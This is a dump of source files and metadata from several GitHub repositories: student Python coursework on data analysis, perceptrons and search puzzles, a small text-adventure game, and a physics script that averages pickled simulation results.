'F')\n new_df = df[degree & year & sex]\n result = new_df.loc[:, ['Sex', 'Total']]\n return result\n\n\ndef top_2_2000s(df):\n \"\"\"\n From the given DataFrame, returns a Series\n of the two most commonly awarded levels of\n educational attainment given between\n 2000 and 2010(inclusive)\n \"\"\"\n sex = df['Sex'] == 'A'\n year = (df['Year'] >= 2000) & (df['Year'] <= 2010)\n new_df = df[year & sex]\n new_df = new_df.groupby('Min degree')['Total'].mean()\n result = new_df.nlargest(2)\n return result\n\n\ndef percent_change_bachelors_2000s(df, sex='A'):\n \"\"\"\n From given DataFrame and sex, returns the difference\n in total percentage of bachelor's degree from 2010 to 2000\n\n Special Case: if not given sex, sex is defaulted as 'A' (all)\n \"\"\"\n df_2000 = df[(df['Year'] == 2000) &\n (df['Min degree'] == \"bachelor's\") &\n (df['Sex'] == sex)]\n df_2010 = df[(df['Year'] == 2010) &\n (df['Min degree'] == \"bachelor's\") &\n (df['Sex'] == sex)]\n df_2000 = df_2000.loc[:, ['Total']].squeeze()\n df_2010 = df_2010.loc[:, ['Total']].squeeze()\n return df_2010 - df_2000\n\n\ndef line_plot_bachelors(df):\n \"\"\"\n From the given DataFrame, outputs a line plot of the\n total percentage with a bachelor's degree throughout\n the years of the data. Save plot in a file named\n 'line_plot_bachelors.png'\n \"\"\"\n new_df = df[(df['Min degree'] == \"bachelor's\") & (df['Sex'] == 'A')]\n sns.relplot(data=new_df, kind='line', x='Year', y='Total')\n plt.ylabel('Percentage')\n plt.title(\"Percentage Earning Bachelor's over Time\")\n plt.savefig('line_plot_bachelors.png', bbox_inches='tight')\n\n\ndef bar_chart_high_school(df):\n \"\"\"\n From the given DataFrame, outputs a bar chart of the\n percentage of everyone compared with men and female\n that has a minimum degree of high school in 2009.\n Save bar chart in file named 'bar_chart_high_school.png'\n \"\"\"\n new_df = df[(df['Min degree'] == 'high school') & (df['Year'] == 2009)]\n new_df = new_df.loc[:, ['Sex', 'Total']]\n sns.catplot(x='Sex', y='Total', data=new_df, kind='bar')\n plt.ylabel('Percentage')\n plt.title('Percentage Completed High School by Sex')\n plt.savefig('bar_chart_high_school.png', bbox_inches='tight')\n\n\ndef plot_hispanic_min_degree(df):\n \"\"\"\n From the given DataFrame, outputs a line plot showing\n the change in percentage of Hispanic with a minimum degree\n of high school compared to bachelor's degree between\n the years of 1990 and 2010(inclusive). Save the line plot\n in a file named 'plot_hispanic_min_degree.png'\n \"\"\"\n sex = df['Sex'] == 'A'\n degree = (df['Min degree'] == 'high school') |\\\n (df['Min degree'] == \"bachelor's\")\n year = (df['Year'] >= 1990) & (df['Year'] <= 2010)\n new_df = df[sex & degree & year]\n sns.relplot(x='Year', y='Hispanic', data=new_df,\n kind='line', hue='Min degree', style='Min degree')\n plt.ylabel('Percentage of Hispanic')\n plt.title(\"Percentage of Hispanics with\\\n Bachelor's degree vs. High School degrees\")\n plt.savefig('plot_hispanic_min_degree.png', bbox_inches='tight')\n\n\ndef fit_and_predict_degrees(df):\n \"\"\"\n From the given DataFrame, trains a regression\n decision tree in order to predict the percentage of\n individuals of the specified sex to achieve that degree\n type for a specific year. After prediction, returns the\n mean squared error of the test dataset to test the\n accuracy of the prediction\n \"\"\"\n new_df = df.loc[:, ['Year', 'Min degree', 'Sex', 'Total']]\n new_df = new_df.dropna()\n features = new_df.loc[:, new_df.columns != 'Total']\n features = pd.get_dummies(features)\n labels = new_df['Total']\n features_train, features_test, labels_train, labels_test = \\\n train_test_split(features, labels, test_size=0.2)\n model = DecisionTreeRegressor()\n model.fit(features_train, labels_train)\n test_prediction = model.predict(features_test)\n result = mean_squared_error(labels_test, test_prediction)\n return result\n\n\ndef main():\n \"\"\"\n Implement written functions\n with given file\n \"\"\"\n data = pd.read_csv('/home/hw3-nces-ed-attainment.csv', na_values='---')\n compare_bachelors_1980(data)\n top_2_2000s(data)\n percent_change_bachelors_2000s(data, 'A')\n line_plot_bachelors(data)\n bar_chart_high_school(data)\n plot_hispanic_min_degree(data)\n fit_and_predict_degrees(data)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5392969250679016, "alphanum_fraction": 0.5647327899932861, "avg_line_length": 26.12403106689453, "blob_id": "d7193517c38f283c834f22f66f52160b2ec365ee", "content_id": "0ac07d1221b669ee9b0a313e5eac4e6fdf233282", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3499, "license_type": "no_license", "max_line_length": 76, "num_lines": 129, "path": "/Introduction to Artificial Intelligence/Lab 6/ternary_perceptron.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "'''ternary_perceptron.py\nComplete this python file as part of Part B.\nYou'll be filling in with code to implement:\n\na 3-way classifier\na 3-way weight updater\n\nThis program can be run from the given Python program\ncalled run_3_class_4_feature_iris_data.py.\n\n \n'''\n\n\ndef student_name():\n return \"Khoa Tran\" # Replace with your own name.\n\n\ndef classify(W, x_vector):\n '''Assume W = [W0, W1, W2] where each Wi is a vector of\n weights = [w_0, w_1, ..., w_{n-1}, biasweight]\n Assume x_vector = [x_0, x_1, ..., x_{n-1}]\n Note that y (correct class) is not part of the x_vector.\n Return 0, 1, or 2,\n depending on which weight vector gives the highest\n dot product with the x_vector augmented with the 1 for bias\n in position n.\n '''\n best = -1\n result = -1\n for index, item in enumerate(W):\n value = 0\n bias = item[len(item) - 1]\n weight = item[:len(item) - 1]\n for i in range(len(weight)):\n value += (weight[i] * x_vector[i])\n value += bias\n if value > result:\n result = value\n best = index\n weight.append(bias)\n return best\n\n# Helper function for finding the arg max of elements in a list.\n# It returns the index of the first occurrence of the maximum value.\n\n\ndef argmax(lst):\n idx, mval = -1, -1E20\n for i in range(len(lst)):\n if lst[i] > mval:\n mval = lst[i]\n idx = i\n return idx\n\n\ndef train_with_one_example(W, x_vector, y, alpha):\n '''Assume weights are as in the above function classify.\n Also, x_vector is as above.\n Here y should be 0, 1, or 2, depending on which class of\n irises the example belongs to.\n Learning is specified by alpha.\n '''\n # ADD YOUR CODE HERE\n temp = classify(W, x_vector)\n mult = []\n mult2 = []\n checker = False\n if temp != y:\n checker = True\n weight = W[temp][:len(W[temp]) - 1]\n bias = W[temp][len(W[temp]) - 1]\n yWeight = W[y][:len(W[y]) - 1]\n yBias = W[y][len(W[y]) - 1]\n\n for i in range(len(weight)):\n mult.append(weight[i] - (alpha * x_vector[i]))\n bias = bias - alpha\n mult.append(bias)\n W[temp] = mult\n\n for j in range(len(yWeight)):\n mult2.append(yWeight[j] - (alpha * x_vector[j]))\n yBias += alpha\n mult2.append(yBias)\n W[y] = mult2\n return (W, checker)\n\n\nWEIGHTS = [[0, 0, 0, 0, 0], [0, 0, 0, 0, 0], [0, 0, 0, 0, 0]]\nALPHA = 1.0\n\n\ndef train_for_an_epoch(training_data, reporting=True):\n '''Go through the given training examples once, in the order supplied,\n passing each one to train_with_one_example.\n Return the weight vector and the number of weight updates.\n (If zero, then training has converged.)\n '''\n global WEIGHTS, ALPHA\n changed_count = 0\n for item in training_data:\n y = item[len(item) - 1]\n x_vector = item[:len(item) - 1]\n WEIGHTS, check = train_with_one_example(WEIGHTS, x_vector, y, ALPHA)\n if check:\n changed_count += 1\n return changed_count\n\n\n# THIS MAY BE HELPFUL DURING DEVELOPMENT:\nTEST_DATA = [\n [20, 25, 1, 1, 0],\n [-2, 7, 2, 1, 1],\n [1, 10, 1, 2, 1],\n [3, 2, 1, 1, 2],\n [5, -2, 1, 1, 2]]\n\n\ndef test():\n print(\"Starting test with 3 epochs.\")\n for i in range(10):\n train_for_an_epoch(TEST_DATA)\n print(\"End of test.\")\n print(\"WEIGHTS: \", WEIGHTS)\n\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4431239366531372, "alphanum_fraction": 0.49575552344322205, "avg_line_length": 23.375, "blob_id": "22bc040d1a4d2302cccc1a0409c6b0b429961a1d", "content_id": "0f51227a43f876504c0436d29f9aace294463754", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 589, "license_type": "no_license", "max_line_length": 44, "num_lines": 24, "path": "/Introduction to Artificial Intelligence/Lab 2/EightPuzzleWithManhattan.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "''' EightPuzzleWithManhattan.py\nby Khoa Tran\nUWNetID: ktdt01\nStudent number: 1861460\n\nAn instance of Manhattan distance heuristic.\n'''\n\nfrom EightPuzzle import *\n\ndef h(self):\n sum = 0\n yList = [0, 1, 2, 0, 1, 2, 0, 1, 2]\n xList = [0, 0, 0, 1, 1, 1, 2, 2, 2]\n for x in range(3):\n for y in range(3):\n value = self.b[x][y]\n if value != 0:\n xPoint = xList[value]\n yPoint = yList[value]\n xDiff = abs(x - xPoint)\n yDiff = abs(y - yPoint)\n sum += (xDiff + yDiff)\n return sum\n\n\n\n\n" }, { "alpha_fraction": 0.5668414235115051, "alphanum_fraction": 0.5797291398048401, "avg_line_length": 28.733766555786133, "blob_id": "3c50b5a0bf850763172fe9731c27cda9e4b2021f", "content_id": "76a9fab30b778e5a3951d6cbf39d938d15bf2bb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4578, "license_type": "no_license", "max_line_length": 130, "num_lines": 154, "path": "/Introduction to Artificial Intelligence/Lab 2/Farmer_Fox.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "'''Farmer_Fox.py\nby Khoa Tran\nUWNetID: ktdt01\nStudent number: 1861460\n\nAssignment 2, in CSE 415, Winter 2021.\n \nThis file contains my problem formulation for the problem of\nthe Farmer, Fox, Chicken, and Grain.\n'''\n#<METADATA>\nSOLUZION_VERSION = \"1.0\"\nPROBLEM_NAME = \"Farmer_Fox\"\nPROBLEM_VERSION = \"1.0\"\nPROBLEM_AUTHORS = ['K. Tran']\nPROBLEM_CREATION_DATE = \"21-JAN-2021\"\n\n# The following field is mainly for the human solver, via either the Text_SOLUZION_Client.\n# or the SVG graphics client.\nPROBLEM_DESC=\\\n '''This is a problem deals with the Farmer Fox Chicken Grain complication\n as the farmer has to find a way to move the chicken fox and grain from the left side of the \n river to the right side, without having the chicken and grain being together, and the fox and the\n chicken being together.\n'''\n#</METADATA>\n\n#<COMMON_CODE>\nFa=0 # index to access Farmer\nFo=1 # index to access Fox\nCh=2 # index to access Chicken\nGr=3 # index to access Grain\nLEFT=0 # index for left side of river\nRIGHT=1 # index for right side of thee river\n\nclass State():\n def __init__(self, d=None):\n if d==None: \n d = [0, 0, 0, 0]\n self.d = d\n\n def __eq__(self, s2):\n if self.d == s2.d:\n return True\n return False\n \n def __str__(self):\n # Produces a textual description of a state.\n text = \"\"\n if self.d[Fa] == RIGHT:\n text += \"\\n Farmer on right side of river \\n\"\n else:\n text += \"\\n Farmer on left side of river \\n\"\n if self.d[Fo] == RIGHT:\n text += \"\\n Fox on right side of river \\n\"\n else:\n text += \"\\n Fox on left side of river \\n\"\n if self.d[Ch] == RIGHT:\n text += \"\\n Chicken on right side of river \\n\"\n else:\n text += \"\\n Chicken on left side of river \\n\"\n if self.d[Gr] == RIGHT:\n text += \"\\n Grain on right side of river \\n\"\n else:\n text += \"\\n Grain on left side of river \\n\"\n return text\n \n def __hash__(self):\n return (self.__str__()).__hash__()\n\n def copy(self):\n # Performs an appropriately deep copy of a state,\n # for use by operators in creating new states.\n news = State({})\n temp = self.d.copy()\n news.d = temp\n return news\n\n def can_move(self, obj):\n '''Tests whether it's legal to perform the move to the given object.'''\n # Check for object and farmer on same side of river\n if obj != Fa:\n if self.d[Fa] != self.d[obj]:\n return False\n # Check for chicken and grain not being together\n if (obj == Fo) and (self.d[Gr] == self.d[Ch]):\n return False\n # Check for fox and chicken not being together\n elif (obj == Gr) and (self.d[Fo] == self.d[Ch]):\n return False\n # Check for same conditions as the two above but for moving the farmer\n elif (obj == Fa) and ((self.d[Fo] == self.d[Ch]) or (self.d[Gr] == self.d[Ch])):\n return False\n return True\n \n def move(self, obj):\n '''Assuming it's legal to make the move, this computes\n the new state.'''\n news = self.copy()\n if self.d[Fa] == 1:\n news.d[Fa] = 0\n else:\n news.d[Fa] = 1\n\n if obj != 0:\n if self.d[obj] == 1:\n news.d[obj] = 0\n else:\n news.d[obj] = 1\n return news\n \ndef goal_test(s):\n '''s is a goal state if all items are on the right side of river'''\n if 0 in s.d:\n return False\n return True\n\ndef goal_message(s):\n return \"Congratulations on avoiding illegal moves and transfering the fox, chicken, and grain to the right side of the river!\"\n \nclass Operator:\n def __init__(self, name, precond, state_transf):\n self.name = name\n self.precond = precond\n self.state_transf = state_transf\n\n def is_applicable(self, s):\n return self.precond(s)\n\n def apply(self, s):\n return self.state_transf(s)\n#</COMMON_CODE>\n\n#<INITIAL_STATE>\nCREATE_INITIAL_STATE = lambda : State(d = [0,0,0,0])\n#</INITIAL_STATE>\n\n#<OPERATORS>\nMC_combinations = [0, 1, 2, 3]\n\nOPERATORS = [Operator(\n \"Cross the river with \" + str(item),\n lambda s, m1=item: s.can_move(m1),\n lambda s, m1=item: s.move(m1)) \n for item in MC_combinations]\n#</OPERATORS>\n\n#<GOAL_TEST> (optional)\nGOAL_TEST = lambda s: goal_test(s)\n#</GOAL_TEST>\n\n#<GOAL_MESSAGE_FUNCTION> (optional)\nGOAL_MESSAGE_FUNCTION = lambda s: goal_message(s)\n#</GOAL_MESSAGE_FUNCTION>" }, { "alpha_fraction": 0.5995116233825684, "alphanum_fraction": 0.6245421171188354, "avg_line_length": 26.299999237060547, "blob_id": "3d5a728a91e1086de7f331eb9dd75b6825cf653f", "content_id": "bc13b35e5ec76ab21013911b2aa867f042a6dadf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1638, "license_type": "no_license", "max_line_length": 74, "num_lines": 60, "path": "/Advanced Data Programming/hw4/hw4_test.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis program performs a test on search_engine.py\nand document.py by creating their respective\nobjects and testing the existing functions in each\nclass\n\"\"\"\nfrom cse163_utils import assert_equals\n\nfrom document import Document\nfrom search_engine import SearchEngine\n\n\ndef test_document():\n \"\"\"\n Tests the Document class.\n\n Special Case: Testing the frequency\n for a word that isn't in the document.\n \"\"\"\n doc1 = Document('/home/testFiles/doc1.txt')\n assert_equals(['hi', 'my', 'name', 'is', 'zach', 'and',\n 'i', 'love', 'food'], doc1.get_words())\n doc2 = Document('/home/testFiles/doc2.txt')\n assert_equals(0, doc2.term_frequency('soccer'))\n doc3 = Document('/home/testFiles/doc3.txt')\n assert_equals(0.16666666666666666, doc3.term_frequency('uber'))\n\n\ndef test_search_engine():\n \"\"\"\n Tests the SearchEngine class.\n\n Special Case: Testing a term\n that doesn't exist in the directory.\n \"\"\"\n test_search = SearchEngine('/home/testFiles')\n assert_equals(None, test_search.search(\"street\"))\n assert_equals(['/home/testFiles/doc4.txt',\n '/home/testFiles/doc2.txt'],\n test_search.search(\"basketball\"))\n assert_equals(['/home/testFiles/doc4.txt', '/home/testFiles/doc5.txt',\n '/home/testFiles/doc3.txt', '/home/testFiles/doc2.txt',\n '/home/testFiles/doc1.txt'],\n test_search.search('food'))\n\n\ndef main():\n \"\"\"\n Operates test functions\n \"\"\"\n test_document()\n test_search_engine()\n print('Successful')\n\n\nif __name__ == '__main__':\n main()\n" } ]
25
Veletronic/ObjectOrientatedTextAdv
https://github.com/Veletronic/ObjectOrientatedTextAdv
fc623762477864552966ca1ef9ea9ee25df4acb0
ee8b20f8e6919e8cffd3b1b2e298a592fabb501a
e90cfaf1d98f78ceaa379bf5614580752b2d9749
refs/heads/master
2020-04-25T14:06:55.557893
2019-03-01T03:27:58
2019-03-01T03:27:58
172,830,287
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8780487775802612, "alphanum_fraction": 0.8780487775802612, "avg_line_length": 19.5, "blob_id": "f580828be309010f0afb11d3f07a1f00cf6c579b", "content_id": "5c766bb45a0bbc66f4c612fc2e3428a20383db22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 41, "license_type": "no_license", "max_line_length": 25, "num_lines": 2, "path": "/README.md", "repo_name": "Veletronic/ObjectOrientatedTextAdv", "src_encoding": "UTF-8", "text": "# ObjectOrientatedTextAdv\nText adventure\n" }, { "alpha_fraction": 0.7413713932037354, "alphanum_fraction": 0.7413713932037354, "avg_line_length": 38.490909576416016, "blob_id": "4ca4af66fdf42fdfbe7cfef32e52f4f8a0042897", "content_id": "cabc029c9fa0f7ee7d67dfca39b4ffc47a0baa83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2173, "license_type": "no_license", "max_line_length": 182, "num_lines": 55, "path": "/Main.py", "repo_name": "Veletronic/ObjectOrientatedTextAdv", "src_encoding": "UTF-8", "text": "from Room import room\nfrom Item import Item\n\nKitchen = room(\"Kitchen\")\nKitchen.set_description(\"The room sparkles and glistens, the surface of the floor reflects your image perfectly...a little too perfectly\")\n\n\nHiddenBasement = room(\"???\")\nHiddenBasement.set_description(\"Darkness has enveloped you. You see nothing but the light bleeding in from where you entered. The air feels differnt here..cold...and oddly hostile.\")\n\n\n\nBallroom = room(\"Ballroom\")\nBallroom.set_description(\"\"\"The door creaks loudly, almost as if it was screaming in agony.\nA gust of musty air escapes through the door, pervading your nostrils.\nYou examine the dimly lit room, nothing but dated leather seats stacked on top of one another and white grungy table cloths are visible..at least at a first glance.\"\"\")\n\nDining = room(\"Dining room\")\nDining.set_description(\"\"\"A long dining table lays before you, stretched out...almost as if it was greeting you.\nIt exhibits several platters of what seem to be freshly made food, of which entices you closer.\nA slight sour smell exists, but you find it hard to pay any mind to. You're entranced by the display that lays on the table.\"\"\")\n\nKitchen.link_room(Dining, \"south\")\nKitchen.link_room(HiddenBasement, \"west\")\nDining.link_room(Kitchen, \"north\")\nDining.link_room(Ballroom, \"west\")\nBallroom.link_room(Dining, \"east\")\n\nDiamondKey = Item(\"Diamond Key\")\nDiamondKey.set_itemdescription(\"\"\"A rusted silver key with a diamond shaped head with a ruby embedded in it.\"\"\")\n\nSpadesKey = Item(\"Spades Key\")\nSpadesKey.set_itemdescription(\"\"\"A pristine gold key with a spade shaped head with an emerald embedded in it\"\"\")\n\nPebble = Item(\"Pebble\")\nPebble.set_itemdescription(\"\"\"A cold and pathetically tiny pebble..what use could you have for this?\"\"\")\n\nPillBottle = Item(\"A pill bottle?\")\nPillBottle.setitemdescription(\"\"\"A plain and unlabelled pill bottle.\nyou shake it and hear some musical rattling, how wonderful.\"\"\")\n\n\n\n\n\n\n#Dining.get_description() checks linked rooms\n\ncurrent_room = Kitchen \n\nwhile True:\t\t\n print(\"\\n\") \n current_room.get_details() \n command = input(\"> \") \n current_room = current_room.move(command) \n" }, { "alpha_fraction": 0.534246563911438, "alphanum_fraction": 0.534246563911438, "avg_line_length": 29.294116973876953, "blob_id": "08dcc12331aae38b618e4fc7907774cfaed47f01", "content_id": "b89a53ae81c2c173a254a264e4e97098c9194f46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 584, "license_type": "no_license", "max_line_length": 43, "num_lines": 17, "path": "/Item.py", "repo_name": "Veletronic/ObjectOrientatedTextAdv", "src_encoding": "UTF-8", "text": "class Item:\n def __init__(self, item):\n self.item = item\n self.description = None\n self.activate = None\n self.inventory = {}\n def set_description(self, description):\n self.description = description\n def get_description(self):\n print (self.description)\n def set_itemName(self, itemname):\n self.item = itemname\n def get_itemname(self):\n print (self.item)\n def describe(self):\n Item.get_description(self)\n Item.get_itemname(self)\n\n \n \n\n \n \n \n \n \n" }, { "alpha_fraction": 0.5526465773582458, "alphanum_fraction": 0.5526465773582458, "avg_line_length": 46.44117736816406, "blob_id": "021415773a5bb5cc2c51023c238cb784c2d02b3b", "content_id": "ae8fe755634cef9615ecd941534bc9d6a0e3bb30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1757, "license_type": "no_license", "max_line_length": 145, "num_lines": 34, "path": "/Room.py", "repo_name": "Veletronic/ObjectOrientatedTextAdv", "src_encoding": "UTF-8", "text": "import random\n\nclass room():\n def __init__(self,room_name):\n self.name = room_name\n self.description = None\n self.linked_rooms = {}\n def set_description(self, room_description):\n self.description = room_description\n def get_description(self):\n return self.description\n def get_name(self):\n print (\"You are currently in the\",self.name)\n def set_name(self,room_name):\n room_name = str(input(\"Enter room name here: \"))\n return room_name\n def describe(self): \n print( self.description )\n def link_room(self, room_link, direction):\n self.linked_rooms[direction] = room_link\n def get_details(self):\n print( self.name + \" linked rooms :\" + repr(self.linked_rooms) )\n room.get_name(self)\n room.describe(self)\n def move(self,direction):\n if direction in self.linked_rooms:\n return self.linked_rooms[direction]\n else:\n print (random.choice([\"You storm headfirst into a wall. You may have a mild concussion now..congratulations\",\n \"You faceplant into the wall. You start to wonder what it truly is you're doing with your life\",\n \"One must wonder if it's merely too dark, or if you're truly blind\",\n \"You launch yourself at the wall and hurt yourself in the process. Did you expect a secret passage?\",\n \"As one is destined for greatness, one is also destined for stupidity. You knock your head against the wall\"]))\n return self\n \n \n \n \n \n \n \n" } ]
4
dhwu14/rmblDataDump
https://github.com/dhwu14/rmblDataDump
bf1faf8ee1efb559dadaef527d1db3b24094d721
61ff1b64166035168757df77f5b3e16cf5e6dfec
51eeff987ebf0d81093bd68c13cb3716b1392126
refs/heads/main
2023-03-24T15:05:48.736079
2021-03-22T13:00:25
2021-03-22T13:00:25
345,661,748
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4986231327056885, "alphanum_fraction": 0.5306938290596008, "avg_line_length": 37.57383346557617, "blob_id": "afd016fb2aa8027b10d3c5b498524bf3b8ef350d", "content_id": "c1cf7de70f4c11622915c529a0c451414e7ea36e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 29778, "license_type": "no_license", "max_line_length": 169, "num_lines": 772, "path": "/rqmapp.py", "repo_name": "dhwu14/rmblDataDump", "src_encoding": "UTF-8", "text": "# Run this app with `python app.py` and\n# visit http://127.0.0.1:8050/ in your web browser.\n\n# import rqm\nimport numpy as np\nfrom matplotlib.gridspec import GridSpec\nimport matplotlib.pyplot as pp\nimport _pickle as pickle\nimport scipy.special\n\nimport os\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nfrom plotly import graph_objs as go \nfrom plotly.graph_objs import *\nimport plotly.tools as tls \nimport plotly.express as px\nimport base64\n\nN=12\nb=6\nW=1\nWx=0\nJ=1\nU=1\nmu=1\nA=1\nnk=3\nv=0.1\na1=1\na2=1\n\ndata={}\n# En={}\nn=20\nSquareLog=np.logspace(-5,5,n)[8:13]\nWlog=np.logspace(-5,5,int(2*n))[15:25]\nnumStates=int(scipy.special.binom(12,6))\n\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n data[i,j]=[]\n # En[i,j]=[]\n\ndef EnergyGapStat(ev):\n dis = 0\n # ev = np.sort(np.real(ev),axis=None)\n diff = []\n for i in range(len(ev)-1):\n diff.append(ev[i+1]-ev[i])\n for i in range(len(diff)-1):\n dis += np.min([diff[i],diff[i+1]])/np.max([diff[i],diff[i+1]])\n return dis/(np.double(len(ev))-1.0+1e-8)\n\n# path=\"/Users/dhwu/Desktop/refael/program/cluster programs/data/data 02-16-2021/Round2/ROI/\"\npath = \"round5/\"\n\ncluster = [\"region3row8/\",\"region3row9/\",\"region4row8/\",\"region4row9/\",\\\n \"region1row10/\",\"region1row11/\",\"region1row12/\",\\\n \"region2row10/\",\"region2row11/\",\"region2row12/\"]\n\nfor folder in cluster:\n pwd = path+folder+\"L12b6_W0Zoom\"\n # chi[i,j]+=np.mean(np.real(np.array(temp_data[0])-np.array(temp_data[1]))[-1])/6\n # drag[i,j]+=np.mean(np.real((np.array(temp_data[0])+np.array(temp_data[1])))[-1])/2/6\n\n for i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n # print(pwd+str(1e4+i*100+j)+\".dat\")\n if (os.path.isfile(pwd+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\")):\n # print(pwd+str(1e4+(i+5)*100+(j+15))+\"_temp.dat\"+\" exists!\")\n f=open(pwd+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\", 'rb')\n temp_data=pickle.load(f)\n f.close()\n # print(\"Ary averaged: \"+str(len(temp_data[0])))\n # print(\"System size: \"+str(temp_data[1]['N'])+\"; particles: \"+str(temp_data[1]['b']))\n # print(\"match? \",temp_data[1]['A']==SquareLog[i],temp_data[1]['W']==SquareLog[j])\n\n # print(len(temp_data),len(temp_data[0]),len(temp_data[0][0]))\n # print(len(temp_data[0]))\n # print(temp_data[1]['v'])\n data[i,j].append(temp_data[0])\n # En[i,j].append(temp_data[2])\n\n# print(\"diag12 files matched: \"+str(countMac0)+\"; iter2 files matched: \"+str(countMac1))\n\n# path2=\"/Users/dhwu/Desktop/refael/program/cluster programs/data/data 02-16-2021/Round2/ROIslow/\"\npath2=\"round5v2/\"\n\ndata2={}\n# En2={}\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n data2[i,j]=[]\n # En2[i,j]=[]\n\nfor folder in cluster:\n pwd2=path2+folder+\"L12b6_W0Zoom\"\n for i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n # print(pwd+str(1e4+i*100+j)+\".dat\")\n if (os.path.isfile(pwd2+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\")):\n # print(pwd2+str(1e4+(i+5)*100+(j+15))+\"_temp.dat\"+\" exists!\")\n f=open(pwd2+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\", 'rb')\n temp_data=pickle.load(f)\n f.close()\n # print(\"Ary averaged: \"+str(len(temp_data[0])))\n # print(\"System size: \"+str(temp_data[1]['N'])+\"; particles: \"+str(temp_data[1]['b']))\n # print(\"match? \",temp_data[1]['A']==SquareLog[i],temp_data[1]['W']==SquareLog[j])\n # print(temp_data[1]['v'])\n data[i,j].append(temp_data[0])\n # En2[i,j].append(temp_data[2])\n\n# path3=\"/Users/dhwu/Desktop/refael/program/cluster programs/data/data 02-16-2021/Round2/ROIfast/\"\npath3=\"round5v3/\"\n\ndata3={}\n# En3={}\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n data3[i,j]=[]\n # En3[i,j]=[]\n\nfor folder in cluster:\n pwd3=path3+folder+\"L12b6_W0Zoom\"\n for i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n # print(pwd+str(1e4+i*100+j)+\".dat\")\n if (os.path.isfile(pwd3+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\")):\n # print(i,j,pwd3+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\"+\" exists!\")\n f=open(pwd3+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\", 'rb')\n temp_data=pickle.load(f)\n f.close()\n # print(\"Ary averaged: \"+str(len(temp_data[0])))\n # print(\"System size: \"+str(temp_data[1]['N'])+\"; particles: \"+str(temp_data[1]['b']))\n # print(\"match? \",temp_data[1]['A']==SquareLog[i],temp_data[1]['W']==SquareLog[j])\n # print(temp_data[1]['v'])\n data[i,j].append(temp_data[0]) # chooses the data; temp_data[1] is the dictionary of parameters\n # En3[i,j].append(temp_data[2])\n\npath4=\"round5v4/\"\n\ndata4={}\n# En3={}\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n data3[i,j]=[]\n # En3[i,j]=[]\n\nfor folder in cluster:\n pwd3=path3+folder+\"L12b6_W0Zoom\"\n for i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n # print(pwd+str(1e4+i*100+j)+\".dat\")\n if (os.path.isfile(pwd3+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\")):\n # print(i,j,pwd3+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\"+\" exists!\")\n f=open(pwd3+str(1e4+(i+8)*100+(j+15))+\"_temp.dat\", 'rb')\n temp_data=pickle.load(f)\n f.close()\n # print(\"Ary averaged: \"+str(len(temp_data[0])))\n # print(\"System size: \"+str(temp_data[1]['N'])+\"; particles: \"+str(temp_data[1]['b']))\n # print(\"match? \",temp_data[1]['A']==SquareLog[i],temp_data[1]['W']==SquareLog[j])\n # print(temp_data[1]['v'])\n data[i,j].append(temp_data[0]) # chooses the data; temp_data[1] is the dictionary of parameters\n # En3[i,j].append(temp_data[2])\n\n\n# print(len(data[0,0][0][0][0]))\ncount=np.zeros([len(SquareLog),len(Wlog)])\nval={}\nEnStat={}\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n val[i,j]=[np.zeros([len(data[i,j][0][0][0]),len(data[i,j][0][0][0][0])],dtype=complex),\\\n np.zeros([len(data[i,j][0][0][1]),len(data[i,j][0][0][1][0])],dtype=complex),\\\n np.zeros(numStates,dtype=complex),np.zeros(numStates,dtype=complex)]\n EnStat[i,j]=0\n\n\nfor i in range(len(SquareLog)):\n for j in range(len(Wlog)):\n for k in range(len(data[i,j])): # len(data[i,j])=3 from the number of folders, i.e. v1-v3\n for l in range(len(data[i,j][k])): # iterate through the number of runs for each data point within a folder\n for m in range(len(data[i,j][k][l])): # the four results: +v, -v, E_{+v}, E_{-v}\n # print(len(data[i,j][k][l][m]),len(data[i,j][k][l][m][0]))\n val[i,j][m]+=data[i,j][k][l][m] # note that m=0 structure is 301 by 924 where the latter is storing the 924 states\n rind=EnergyGapStat(data[i,j][k][l][2])\n # print(i,j,k,l,rind)\n EnStat[i,j]+=rind\n count[i,j]+=1\n val[i,j]/=count[i,j]\n EnStat[i,j]/=count[i,j]\n# 